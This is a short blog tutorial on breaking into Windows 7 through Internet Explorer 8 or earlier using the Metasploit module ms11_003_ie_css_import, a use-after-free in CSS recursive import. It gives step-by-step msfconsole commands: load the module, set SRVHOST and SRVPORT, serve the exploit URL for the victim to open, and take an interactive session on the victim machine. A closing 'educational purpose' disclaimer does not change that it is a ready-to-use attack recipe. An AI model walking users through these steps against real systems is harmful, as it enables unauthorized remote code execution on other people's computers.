Hack Windows 7 using Metasploit-Internet Explorer CSS Recursive Import

Hello Readers !! Today I'm gonna tell you how to hack Windows 7 using  ms11_003_ie_css_import exploit.

This module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions with .NET 2.0.50727 installed.

In this tutorial i'll be performing this exploit on my virtual machine.

So lets begin:-

• Open your terminal, type msfconsole . Hit Enter.

•  Type use exploit/windows/browser/ms11_003_ie_css_import .Hit Enter.

• Type show options, hit Eneter. This will show all options, which is required to run this exploit .

• To run this exploit, we have to only set two options, SRVHOST and SRVPORT.


• Type set SRVHOST <your local ip>, hit Enter.


• Type set SRVPORT 80, hit Enter.

Note:- To check your local ip, open Terminal, then type ifconfig. Hit Enter.

• Type exploit, hit Enter.


• Then a url will be made. Copy that url and open it in Internet Explorer.

• After opening the url, it will starting exploiting the Internet Explorer. Wait until it says Successfully migrated to process, then hit Enter.

• Type sessions -i 1, hit Enter.

• Windows 7 had been exploited successfully :D .

 

This vulnerability was patched in version 9. So unfortunately, this will only work on Internet Explorer 8 or lower than version 8.

 

THIS TUTORIAL IS ONLY FOR EDUCATIONAL PURPOSE. I'LL NOT RESPONSIBLE FOR ANY TYPE  OF ILLEGAL ACTIVITY DONE BY YOU.